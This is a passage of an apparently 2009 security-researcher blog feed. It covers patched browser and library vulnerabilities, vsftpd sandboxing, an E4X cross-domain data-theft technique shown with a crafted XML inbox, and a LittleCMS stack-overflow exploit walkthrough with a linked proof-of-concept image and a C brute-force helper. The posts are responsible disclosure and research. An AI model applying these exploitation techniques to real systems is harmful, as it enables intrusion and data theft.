href="http://scarybeastsecurity.blogspot.com/2009/05/hitb-dubai-all-over-apart-from-blogging.html"&gt;HiTB Dubai&lt;/a&gt; presentations. I forgot to note that my &lt;a href="http://scarybeastsecurity.blogspot.com/2009/06/apples-safari-4-fixes-local-file-theft.html"&gt;previous post on file theft was another&lt;/a&gt;.&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-3887580810930338782?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/3887580810930338782/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=3887580810930338782' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3887580810930338782'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3887580810930338782'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/06/apples-safari-4-also-fixes-cross-domain.html' title='Apple&apos;s Safari 4 also fixes cross-domain XML theft'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-8304496718856828716</id><published>2009-06-08T17:12:00.000-07:00</published><updated>2009-06-08T17:26:48.963-07:00</updated><title type='text'>Apple's Safari 4 fixes local file theft attack</title><content type='html'>Safari 4 was just released and among the various improvements is &lt;a href="http://www.net-security.org/advisory.php?id=10247"&gt;a range of security fixes&lt;/a&gt;. One of these fixes is for an XXE attack against the parsing of the XSL XML. Full technical details may be found here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2009-006.html"&gt;http://scary.beasts.org/security/CESA-2009-006.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Or for the lazy, you can skip straight to the:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://cevans-app.appspot.com/static/safaristealfilebug.xml"&gt;Demo for Safari 3 / MacOS&lt;/a&gt;&lt;br /&gt;&lt;a href="https://cevans-app.appspot.com/static/safaristealfilebugwin.xml"&gt;Demo for Safari 3 / Windows&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I found it interesting that Safari 3 seemed robust against XXE attacks in general -- there are a lot of places that browsers find themselves parsing XML (XmlHttpRequest, prettifying XML mime type documents, SVG, E4X, etc.) However, the relatively obscure area of the XSL XML succumbed to an XXE attack.&lt;br /&gt;&lt;br /&gt;(Note: awareness of XXE attacks remains low despite the issue being &lt;a href="http://www.securityfocus.com/archive/1/297714"&gt;documented since at least 2002)&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-8304496718856828716?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/8304496718856828716/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=8304496718856828716' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8304496718856828716'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8304496718856828716'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/06/apples-safari-4-fixes-local-file-theft.html' title='Apple&apos;s Safari 4 fixes local file theft attack'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-6723892809094921646</id><published>2009-05-29T15:53:00.000-07:00</published><updated>2009-05-29T17:21:28.431-07:00</updated><title type='text'>vsftpd-2.1.2 released and new security tricks</title><content type='html'>&lt;i&gt;(Note: v2.1.2 is the same as v2.1.1 but with a compile fix)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;vsftpd-2.1.2 is released with full details as always on the vsftpd home page:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://vsftpd.beasts.org/"&gt;http://vsftpd.beasts.org/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;For users, a couple of nasty regressions are fixed: SSL transfers would drop due to an errant timeout firing; this is now fixed. Also, an absent per-user config file was fine with v2.0.7 but an error in v2.1.0. v2.1.2 restores v2.0.7 behaviour.&lt;br /&gt;&lt;br /&gt;For Linux developers / security types, there are a couple of much more interesting stories:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;RLIMIT_NPROC&lt;/b&gt; support. Least interestingly, the unprivileged vsftpd processes limit their own ability to launch new processes. A compromise of such a process now does not get to cause a nuisance by flooding the system with more processes. In addition, privilege escalations via kernel bugs in the copious &lt;code&gt;clone()&lt;/code&gt; API and involving subtle interactions between collaborating evil processes should be mitigated.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;RLIMIT_NOFILE&lt;/b&gt; support for some of the unprivileged vsftpd processes. This excellent defensive tweak comes courtesy of my colleague Tavis Ormandy with further research by Julien Tinnes. When set to 0, this limit prevents a process from gaining any new file descriptors. So a compromised unprivileged process doesn't get to create new network sockets or open new files. Of course the filesystem aspect is not as good as &lt;code&gt;chroot()&lt;/code&gt; because non-fd-based syscalls such as &lt;code&gt;stat()&lt;/code&gt; etc. will still leak information and something like &lt;code&gt;rename()&lt;/code&gt; may present a total compromise. So there's limited value without combination with a &lt;code&gt;chroot()&lt;/code&gt; and also a switch to a different UID to prevent devastating &lt;code&gt;ptrace()&lt;/code&gt; attacks. This is a shame because this facility is available to non-root users; and options to voluntarily jail yourself as a non-root user under Linux are generally terrible. There are a couple of additional annoyances: POSIX requires that RLIMIT_NOFILE==0 prevents any file descriptors in a &lt;code&gt;poll()&lt;/code&gt; call but curiously not &lt;code&gt;select()&lt;/code&gt;. Also, the limit includes file descriptors passed in over a UNIX socket so this precludes some neat designs. Still, an interesting tweak to bear in mind.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;CLONE_NEWPID / CLONE_NEWIPC&lt;/b&gt; support for all distinct vsftpd sessions. These flags were added to the Linux kernel extremely recently, and essentially allow you to launch new processes in isolated PID and IPC ID spaces. This represents further limits on the damage that a compromised vsftpd process could cause. The isolated PID space means no ability to &lt;code&gt;kill()&lt;/code&gt; all other vsftpd sessions. (Note that the more serious &lt;code&gt;ptrace()&lt;/code&gt; is already carefully defended against with management of the per-process "dumpable" concept). The isolated IPC ID space means no ability to abuse the common flaw of IPC objects with inappropriate world-access permissions.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-6723892809094921646?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/6723892809094921646/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=6723892809094921646' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6723892809094921646'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6723892809094921646'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/05/vsftpd-212-released-and-new-security.html' title='vsftpd-2.1.2 released and new security tricks'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-4617673046582744149</id><published>2009-05-20T19:33:00.001-07:00</published><updated>2009-05-20T20:41:45.170-07:00</updated><title type='text'>A more plausible E4X attack</title><content type='html'>As a quick recap, "E4X" is the name of a Javascript standard relating to strong XML support in the language. Firefox has had an implementation for quite some time but no other major browser seems to have followed suit.&lt;br /&gt;&lt;br /&gt;My colleages Filipe Almeida and Michal Zalewski led the way in E4X security; check out:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/doctype/wiki/ArticleE4XSecurity"&gt;http://code.google.com/p/doctype/wiki/ArticleE4XSecurity&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;However, the attack scenarios in that document are in my opinion not likely to occur in many web apps. It so happens that I was fiddling around the night before my HiTB talk (which briefly covers E4X) and I came up with something more compelling. Take a hypothetical web mail service which provides an XML feed format of the inbox, which might look something like this:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;inbox&amp;gt;&lt;br /&gt;&amp;lt;mail id="1234"&amp;gt;&amp;lt;from&amp;gt;evil@hacker.com&amp;lt;/from&amp;gt;&amp;lt;subject&amp;gt;{ x = '&amp;lt;/subject&amp;gt;&amp;lt;body&amp;gt;PWN...&amp;lt;/body&amp;gt;&amp;lt;/mail&amp;gt;&lt;br /&gt;&amp;lt;mail id="1235"&amp;gt;&amp;lt;from&amp;gt;bank@bank.com&amp;lt;/from&amp;gt;&amp;lt;subject&amp;gt;Super sensitive!&amp;lt;/subject&amp;gt;&amp;lt;body&amp;gt;New pin: 9976&amp;lt;/body&amp;gt;&amp;lt;/mail&amp;gt;&lt;br /&gt;&amp;lt;mail id="1236"&amp;gt;&amp;lt;subject&amp;gt;' }&amp;lt;/subject&amp;gt;&amp;lt;body&amp;gt;...ed!!&amp;lt;/body&amp;gt;&amp;lt;/mail&amp;gt;&lt;br /&gt;&amp;lt;/inbox&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;One general concept of interest in the above fragment is the ability of the attacker to echo little pieces of attacker-controlled text onto a trusted domain. Specifically, in e-mail subject text! More on this in another post.&lt;br /&gt;With this realization, we're all set to mount an E4X-based theft attack. First, you'll want to see it in action. You'll need Firefox to see the popup alert indicating cross-domain XML theft:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://cevans-app.appspot.com/static/e4xtheft.html"&gt;https://cevans-app.appspot.com/static/e4xtheft.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The attack works by cross-domain including the XML formatted inbox into the attacker's page via &lt;code&gt;&amp;lt;script src="blah"&amp;gt;&lt;/code&gt;. Raw XML is valid Javascript in Firefox, thanks to E4X, so this parses and executes in the attacker's context. The reason the attacker is able to mount a theft is that E4X looks for curly braces in XML values and tries to interpret the surrounded text as a Javascript expression to evaluate. Looking again at our above XML, we see the following in the middle:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;subject&amp;gt;&lt;b&gt;{ x = '&amp;lt;/subject&amp;gt;&amp;lt;body&amp;gt;PWN...&amp;lt;/body&amp;gt;&amp;lt;/mail&amp;gt;&lt;br /&gt;&amp;lt;mail id="1235"&amp;gt;&amp;lt;from&amp;gt;bank@bank.com&amp;lt;/from&amp;gt;&amp;lt;subject&amp;gt;Super sensitive!&amp;lt;/subject&amp;gt;&amp;lt;body&amp;gt;New pin: 9976&amp;lt;/body&amp;gt;&amp;lt;/mail&amp;gt;&lt;br /&gt;&amp;lt;mail id="1236"&amp;gt;&amp;lt;subject&amp;gt;' }&lt;/b&gt;&amp;lt;/subject&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;As you can see, the attacker's sneaky choice of subject lines has caused an expression to be evaluated which:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Wraps a part of the XML in single quotes, forming a Javascript string literal.&lt;/li&gt;&lt;li&gt;Assigns said string literal to a Javascript variable in the attacker's domain!&lt;/li&gt;&lt;li&gt;Leaves the XML tag structure balanced, thanks to the repeating nature of the XML tree.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;For the attack to work, there are constraints:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;There must be no newlines in the part of the XML structure that you are stealing, because Javascript literals cannot span unescaped newlines.&lt;/li&gt;&lt;li&gt;There must be no XML prolog or DTD since these break the Firefox E4X parser.&lt;/li&gt;&lt;li&gt;The single quote character must be rendered into XML values unescaped and double quotes must be used to surround XML attributes (or visa versa).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;There will be real-world services matching these constraints. When you find them, drop me an e-mail or leave a comment.&lt;br /&gt;As always, Mozilla security responded wonderfully to this advance in E4X theft. A behavioural tweak was committed and is due in Firefox 3.5, which will break this attack.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-4617673046582744149?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/4617673046582744149/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=4617673046582744149' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4617673046582744149'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4617673046582744149'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/05/more-plausible-e4x-attack.html' title='A more plausible E4X attack'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-4246763829377474104</id><published>2009-05-01T23:59:00.000-07:00</published><updated>2009-05-02T00:32:19.194-07:00</updated><title type='text'>HiTB Dubai: all over apart from the blogging</title><content type='html'>I recently had the pleasure to be invited by Dhillon to present at HackInTheBox (HiTB) Dubai with Billy Rios on our "Cross Domain Leakiness" work. Here is a link to our updated slides:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://docs.google.com/Presentation?id=dfgb2455_72fkwc2phc"&gt;http://docs.google.com/Presentation?id=dfgb2455_72fkwc2phc&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It was a very productive conference, all told. The sort of conference where new attacks materialise over breakfast conversations. In terms of new and pending material, I'll do separate posts regarding:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;My latest E4X cross-domain theft attack (building on the work of my colleagues Filipe and Michal)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;A new "divided login" attack (Billy and I having fun over breakfast)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;JDK GIFAR fix considered incomplete&lt;/li&gt;&lt;br /&gt;&lt;li&gt;A new cross-browser cross-domain theft&lt;/li&gt;&lt;/ul&gt;There was also a very interesting (and perhaps overdue) theme running throughout the conference. It was best put in words during Mark Curphey's keynote address: "builders vs. breakers". And my summary of this is that the industry has too many breakers and not enough builders. Builders have the maturity to step back from the world of random bugs and glitzy hacks, and move the state of security forward. But the economics of the security industry often selects for breakers: the 17 year old kid who finds an XSS in Twitter gets all the press attention; conferences are full of talks about one-off hacks and breaking technologies because the "let's fix it" talks are not showy enough; opinionated and technically lacking blogs and advisories seem to be favoured sources of information.&lt;br /&gt;&lt;br /&gt;I'm going to be thinking about contributing more to the building side.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-4246763829377474104?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/4246763829377474104/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=4246763829377474104' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4246763829377474104'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4246763829377474104'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/05/hitb-dubai-all-over-apart-from-blogging.html' title='HiTB Dubai: all over apart from the blogging'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-6518529631902696483</id><published>2009-03-27T20:04:00.000-07:00</published><updated>2009-03-27T20:33:04.313-07:00</updated><title type='text'>Sun Java JRE Pack200 bugs</title><content type='html'>A friend of mine, Rich Cannings, spotted my name in &lt;a href="http://sunsolve.sun.com/search/document.do?assetkey=1-66-254570-1"&gt;a Sun security advisory&lt;/a&gt; so I guess this means my Pack200 crashes are fixed:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2009-005.html"&gt;http://scary.beasts.org/security/CESA-2009-005.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This bug continues a trend of looking to native code parsers within the JRE, in order to break out of it. The most obvious application is to take over desktops via evil applets which abuse these bugs to cause memory corruptions.&lt;br /&gt;&lt;br /&gt;The individual bugs themselves are pretty lame insofar as they are under-researched with a bit of dumb fuzzing. I was simply testing the general area for robustness, and found trouble. Other people have hit the same area, through iDefense, in the past couple of JRE updates -- hopefully they did a better job than me.&lt;br /&gt;&lt;br /&gt;The interesting point is that researchers seem to have gotten the point regarding native code in the JRE. I've hit areas such as 2D graphics; ICC parsing and now Pack200 parsing. Others have hit GIF parsers and the font parsing. Aside from well-tested native code (jpeglib, zlib, libpng), and more of the same (e.g. a lot of font / 2D medialib code!), what's left? &lt;code&gt;com.sun.media.sound&lt;/code&gt;? &lt;code&gt;sun.java2d&lt;/code&gt;? Have at it :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-6518529631902696483?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/6518529631902696483/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=6518529631902696483' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6518529631902696483'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6518529631902696483'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/03/sun-java-jre-pack200-bugs.html' title='Sun Java JRE Pack200 bugs'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-2314694715450694073</id><published>2009-03-26T18:20:00.000-07:00</published><updated>2009-03-27T15:08:06.772-07:00</updated><title type='text'>LittleCMS exploit</title><content type='html'>Now that new packages are out for lcms and OpenJDK, I'll publish my LittleCMS exploit. It's harmless in that if it actually works on your machine, all it does it put your CPU into a spin -- watch out for 100% CPU usage. It's also relatively harmless in that it doesn't work on many systems out of the box. I targeted my 32-bit Ubuntu 8.10 laptop which happens to have an executable heap, executable stack, no stack cookies but does have ASLR.&lt;br /&gt;&lt;br /&gt;Here's the sample JPG file with embedded evil ICC profile: &lt;a href="http://cevans-app.appspot.com/static/CVE-2009-0733.jpg"&gt;http://cevans-app.appspot.com/static/CVE-2009-0733.jpg&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I'm only bothering to write about this because the story behind the exploit contains a few interesting twists which illustrate the iterative constraint solving used in modern exploits:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The underlying code flaw is a stack-based buffer overflow. But the data going past the bounds is not arbitrarily user-controlled. (If it were, a traditional stack smashing exploit would work, but the ASLR could affect the reliability of the exploit). Here's the faulty code in cmsio1.c, where &lt;code&gt;nCurves&lt;/code&gt; can end up greater than &lt;code&gt;MAXCHANNELS&lt;/code&gt;:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;static&lt;br /&gt;LCMSBOOL ReadSetOfCurves(LPLCMSICCPROFILE Icc, size_t Offset, LPLUT NewLUT, int nLocation)&lt;br /&gt;{&lt;br /&gt;    LPGAMMATABLE Curves[MAXCHANNELS];&lt;br /&gt;...&lt;br /&gt;    for (i=0; i &amp;lt; nCurves; i++) {&lt;br /&gt;&lt;br /&gt;        Curves[i] = ReadCurve(Icc);&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The data going past bounds is actually pointers to heap chunks (returned by &lt;code&gt;ReadCurve&lt;/code&gt;). This is nice because it takes ASLR out of the equation. We'll automatically overwrite &lt;code&gt;%eip&lt;/code&gt; with a pointer to a valid heap address. But what is in that heap chunk? If it were arbitrary user controlled data, we'd have game over already, but unfortunately it is not. We're looking at pointers to this structure:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;struct GAMMATABLE {&lt;br /&gt;  unsigned int Crc32;&lt;br /&gt;  int Type;&lt;br /&gt;  double Params[10];&lt;br /&gt;  int nEntries;&lt;br /&gt;  WORD GammaTable[1];&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;li&gt;There are two types of constructs in the input ICC profile used as a basis to populate this structure: &lt;code&gt;curv&lt;/code&gt; and &lt;code&gt;para&lt;/code&gt;. &lt;code&gt;curv&lt;/code&gt; is of little use to us because it mostly leaves &lt;code&gt;Crc32&lt;/code&gt; set to &lt;code&gt;0&lt;/code&gt; (or set based only on 16 bits of input entropy). Trying to execute the code &lt;code&gt;0x00 0x00&lt;/code&gt; is a crash because it dereferences the &lt;code&gt;%eax&lt;/code&gt; register: &lt;code&gt;add %al,(%eax)&lt;/code&gt;, and the value of this register is left as &lt;code&gt;0&lt;/code&gt; or &lt;code&gt;1&lt;/code&gt; to denote success of failure when the &lt;code&gt;ReadSetOfCurves&lt;/code&gt; function exits.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;This leaves us looking at a &lt;code&gt;para&lt;/code&gt; curve, which calculates &lt;code&gt;Crc32&lt;/code&gt; based very indirectly on some input variables under our control. Although we can't reverse it, we can brute force it with a little program:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#include "lcms.h"&lt;br /&gt;&lt;br /&gt;static&lt;br /&gt;void AdjustEndianess32(LPBYTE pByte)&lt;br /&gt;{&lt;br /&gt;        BYTE temp1;&lt;br /&gt;        BYTE temp2;&lt;br /&gt;&lt;br /&gt;        temp1 = *pByte++;&lt;br /&gt;        temp2 = *pByte++;&lt;br /&gt;        *(pByte-1) = *pByte;&lt;br /&gt;        *pByte++ = temp2;&lt;br /&gt;        *(pByte-3) = *pByte;&lt;br /&gt;        *pByte = temp1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static&lt;br /&gt;double Convert15Fixed16(icS15Fixed16Number fix32)&lt;br /&gt;{&lt;br /&gt;    double floater, sign, mid, hack;&lt;br /&gt;    int Whole, FracPart;&lt;br /&gt;&lt;br /&gt;    AdjustEndianess32((LPBYTE) &amp;fix32);&lt;br /&gt;&lt;br /&gt;    sign  = (fix32 &amp;lt; 0 ? -1 : 1);&lt;br /&gt;    fix32 = abs(fix32);&lt;br /&gt;&lt;br /&gt;    Whole = LOWORD(fix32 &amp;gt;&amp;gt; 16);&lt;br /&gt;    FracPart  = LOWORD(fix32 &amp; 0x0000ffffL);&lt;br /&gt;&lt;br /&gt;    hack    = 65536.0;&lt;br /&gt;    mid     = (double) FracPart / hack;&lt;br /&gt;    floater = (double) Whole + mid;&lt;br /&gt;&lt;br /&gt;    return sign * floater;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;main(int argc, const char* argv[]) {&lt;br /&gt;  unsigned int crc;&lt;br /&gt;  unsigned char* p_crc;&lt;br /&gt;  double params[10];&lt;br /&gt;  int type = 0;&lt;br /&gt;  unsigned int i;&lt;br /&gt;  unsigned int start = atoi(argv[1]);&lt;br /&gt;&lt;br /&gt;  for (i = start; i &amp;lt;= 0xffffffff; ++i) {&lt;br /&gt;    if ((i % 10000) == 0) {&lt;br /&gt;      printf("progress: %u\n", i);&lt;br /&gt;    }&lt;br /&gt;    params[0] = Convert15Fixed16(i);&lt;br /&gt;    LPGAMMATABLE table = cmsBuildParametricGamma(4096, type + 1, params);&lt;br /&gt;    crc = table-&amp;gt;Seed.Crc32;&lt;br /&gt;    p_crc = &amp;crc;&lt;br /&gt;    if ((p_crc[0] == 0x93 || p_crc[0] == 0x95 || p_crc[0] == 0x97) &amp;&amp;&lt;br /&gt;        p_crc[1] == 0xff &amp;&amp;&lt;br /&gt;        p_crc[2] == 0xe6) {&lt;br /&gt;      printf("got it!!!!!!! %u %u\n", i, p_crc[0]);&lt;br /&gt;      return 0;&lt;br /&gt;    }&lt;br /&gt;    free(table);&lt;br /&gt;  }&lt;br /&gt;  return 1;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;li&gt;What does this program do? Let's see:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;chris@chris-desktop:~/progs$ ./a.out 3221970952&lt;br /&gt;got it!!!!!!! 3221970952 151&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This is telling us that a &lt;code&gt;para&lt;/code&gt; curve of type &lt;code&gt;0&lt;/code&gt; whose 4 input bytes are &lt;code&gt;3221970952 == 0xC00B6008&lt;/code&gt; will result in &lt;code&gt;0x97 0xff 0xe6 0x??&lt;/code&gt; being written to &lt;code&gt;Crc32&lt;/code&gt;. We don't care about the last byte. This assembles to &lt;code&gt;xchg %eax,%edi  jmp %esi&lt;/code&gt; which will execute because &lt;code&gt;%eip&lt;/code&gt; jumps to this &lt;code&gt;para&lt;/code&gt; heap chunk, which starts with the CRC. It is urgent to do something in 4 bytes or less because we have terrible control over the rest of the content of this heap chunk. What these 3 bytes do is to overwrite &lt;code&gt;%eax&lt;/code&gt; with &lt;code&gt;%edi&lt;/code&gt; then jump to &lt;code&gt;%esi&lt;/code&gt;. The significance here is that both registers we used were under our control because they were also restored from the stack we trashed with pointers to valid heap chunks.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;So execution continues at the curve heap chunk pointed to by &lt;code&gt;%esi&lt;/code&gt;. We arrange for this to be a &lt;code&gt;curv&lt;/code&gt; type chunk. Earlier we dismissed them as useless because the &lt;code&gt;0 Crc32&lt;/code&gt; will result in a dereference of &lt;code&gt;%eax&lt;/code&gt;. But now, thanks to our &lt;code&gt;para&lt;/code&gt; chunk, we've repaired &lt;code&gt;%eax&lt;/code&gt; to point to a valid heap chunk! Unlike &lt;code&gt;para&lt;/code&gt; chunks, &lt;code&gt;curv&lt;/code&gt; chunks do contain arbitrary data we can supply, after a mostly-zero header. We've essentially used the control at the beginning of a &lt;code&gt;para&lt;/code&gt; chunk to repair &lt;code&gt;%eax&lt;/code&gt; and use the vast control at the end of a &lt;code&gt;curv&lt;/code&gt; chunk. Before our arbitrary code executes, a bunch of now harmless &lt;code&gt;0x00 0x00&lt;/code&gt; will execute, writing some junk at the start of one of our unused heap chunks. Finally, just before our arbitrary code, the value of &lt;code&gt;nEntries&lt;/code&gt; in the header will be executed. This value is &lt;code&gt;0x02 0x00 0x00 0x00&lt;/code&gt; which is &lt;code&gt;add (%eax),%al  add %al,(%eax)&lt;/code&gt;. This trashes &lt;code&gt;%eax&lt;/code&gt; a little bit before dereferencing it again, but only up to 256 bytes, so we're good and we could always use a different number of entries in our &lt;code&gt;curv&lt;/code&gt; chunk. Certainly, a real payload would need more than 2 words.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The actual arbitrary code that executes is &lt;code&gt;0xeb 0xfe&lt;/code&gt; which is equivalent to &lt;code&gt;for (;;);&lt;/code&gt; in C. Look out for an endian reversed instance of those two bytes, as well as an endian reversed &lt;code&gt;0xC00B6008&lt;/code&gt; in the exploit file.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;There's one further twist in the exploit relating to stack alignment. Some compilation optimization leaves no space between the end of the &lt;code&gt;Curves&lt;/code&gt; array and the start of the saved registers. Other cases have a 4-byte gap. The exploit caters for both these stack layouts by careful layout of &lt;code&gt;curv&lt;/code&gt; vs. &lt;code&gt;para&lt;/code&gt; chunks. Here's a simple illustrative table:&lt;br /&gt;&lt;table border="1" 